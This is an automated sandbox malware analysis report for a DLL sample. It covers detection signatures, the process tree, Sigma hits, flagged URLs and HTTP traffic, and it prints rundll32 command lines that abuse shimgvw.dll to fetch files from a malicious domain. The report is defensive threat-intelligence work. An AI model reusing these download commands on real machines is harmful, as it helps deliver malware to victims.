Edit tour

Windows Analysis Report
QEydjQdRxs.dll

Overview

General Information

Sample name:	QEydjQdRxs.dll renamed because original name is a hash value
Original sample name:	b62c9168fcde444dbc3be1593e80747929dcf1a49cc6305b49456d68d0c49e71.dll
Analysis ID:	1500943
MD5:	71481f31ac558750937ef27dad2d0025
SHA1:	fa2010a283a723a0d2a68d6bc8b16389b36a3a04
SHA256:	b62c9168fcde444dbc3be1593e80747929dcf1a49cc6305b49456d68d0c49e71
Tags:	dllrammenale-com
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Sigma detected: Execute DLL with spoofed extension

Sigma detected: rundll32 run dll from internet

System process connects to network (likely due to code injection or exploit)

AI detected suspicious sample

Machine Learning detection for sample

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potentially Suspicious Rundll32 Activity

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 1532 cmdline: loaddll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4592 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 7104 cmdline: rundll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 1992 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 2148 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 940 cmdline: rundll32.exe C:\Users\user\Desktop\QEydjQdRxs.dll,mydllmain MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5260 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 1732 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5440 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5428 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Sigma Signatures

Sigma detected: Potentially Suspicious Rundll32 Activity

Source: Process started

Author: juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems): Data: Command: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, CommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll",#1, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 7104, ParentProcessName: rundll32.exe, ProcessCommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, ProcessId: 1992, ProcessName: rundll32.exe

Data Obfuscation

Sigma detected: Execute DLL with spoofed extension

Source: Process started

Author: Joe Security: Data: Command: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, CommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\QEydjQdRxs.dll",#1, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 7104, ParentProcessName: rundll32.exe, ProcessCommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, ProcessId: 1992, ProcessName: rundll32.exe

Sigma detected: rundll32 run dll from internet

Source: Process started

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://rammenale.com/for2/regit.tmp$u	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclogY	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtM	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpent	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtPR	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpft	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4kJ	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp(	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpPR5	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtT	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp)	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtR	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt42	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt6634-1003(	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp%	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpry	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtO	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtZ	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4?	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txte	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpsC:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt)	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtenth	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4Y	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4FA	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt3	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt0O	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt0	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpn	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtF	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpw	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpxe.muiE	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpz	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmps	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpC:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpu	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt6634-1003	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt?	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp8a5	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4u	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp6634-1003	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtry	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtQw	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtrw	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpg	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmph	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4n	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt60	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtentindowsINetCookies	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4r	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp08	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpP	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtfw	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtC:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt&	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt%	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4~	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtft	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpA	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtk	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp;	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txti	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclogtxt	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtv	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txts	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4s5	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp0	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpmp	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4X	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtentdll8	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtx	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp7	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpc4u	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4Zfrh	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4$	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtdT	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpuk	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtentdll	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp6	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: QEydjQdRxs.dll

Virustotal: Detection: 8%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.9% probability

Machine Learning detection for sample

Source: QEydjQdRxs.dll

Joe Sandbox ML: detected

Source: QEydjQdRxs.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.5:49712 version: TLS 1.2

Source: QEydjQdRxs.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B921B85 FindFirstFileW,_strlen,ExpandEnvironmentStringsW,CopyFileW,TerminateProcess,CloseHandle,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,	0_2_6B921B85
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6B9338F4 FindFirstFileExW,	0_2_6B9338F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9E1B85 FindFirstFileW,_strlen,ExpandEnvironmentStringsW,CopyFileW,TerminateProcess,CloseHandle,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,	3_2_6F9E1B85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6F9F38F4 FindFirstFileExW,	3_2_6F9F38F4

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 131.153.206.231 443

Source: Joe Sandbox View

ASN Name: SS-ASHUS SS-ASHUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: rammenale.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:02 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:02 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:02 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:02 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:04 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:04 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Source: rundll32.exe, 00000005.00000002.3289519547.0000000008F70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3289414111.0000000007B5C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337362841.0000000008C11000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337408753.0000000008C19000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289712371.0000000008C1B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: rundll32.exe, 0000000B.00000002.3289283250.0000000008CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comm
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008F70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3289414111.0000000007B46000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000003.2337362841.0000000008C11000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3289577323.0000000008C11000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008CE4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008CA1000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3286396113.0000000002AAA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/
Source: rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com//9
Source: rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/6
Source: rundll32.exe, 0000000C.00000002.3289874951.0000000008844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/T
Source: rundll32.exe, 00000006.00000002.3289715229.0000000008CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/d
Source: rundll32.exe, 0000000B.00000002.3288849622.0000000005132000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3288849622.000000000511A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog
Source: rundll32.exe, 0000000B.00000002.3286397413.0000000002FB3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008D02000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008C8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt
Source: rundll32.exe, 00000005.00000002.3286428074.00000000031E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt%
Source: rundll32.exe, 00000006.00000002.3286763260.0000000003208000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt&
Source: rundll32.exe, 00000006.00000002.3286763260.000000000319A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt)
Source: rundll32.exe, 00000006.00000002.3289715229.0000000008D34000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3289283250.0000000008CA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt0
Source: rundll32.exe, 0000000B.00000002.3289283250.0000000008CA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt0O
Source: rundll32.exe, 00000006.00000002.3286763260.000000000319A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3286397413.0000000002F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt3
Source: rundll32.exe, 0000000B.00000002.3289283250.0000000008D02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4
Source: rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4$
Source: rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt42
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4?
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008F85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4FA
Source: rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4Y
Source: rundll32.exe, 00000006.00000002.3289715229.0000000008CFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4n
Source: rundll32.exe, 0000000B.00000002.3289283250.0000000008CA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4r
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4u
Source: rundll32.exe, 00000006.00000002.3289715229.0000000008CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4~
Source: rundll32.exe, 00000005.00000002.3286428074.000000000317A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt60
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008F42000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3289715229.0000000008CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt6634-1003
Source: rundll32.exe, 0000000B.00000002.3289283250.0000000008C74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt6634-1003(
Source: rundll32.exe, 00000005.00000002.3289519547.0000000008F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt:
Source: rundll32.exe, 00000006.00000002.3289715229.0000000008D34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt?
Source: rundll32.exe, 00000005.00000002.3286428074.0000000003170000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3286258610.0000000003080000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3286763260.0000000003190000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3286367088.0000000002F90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3286397413.0000000002F40000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000B.00000002.3286293078.0000000002EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtC:
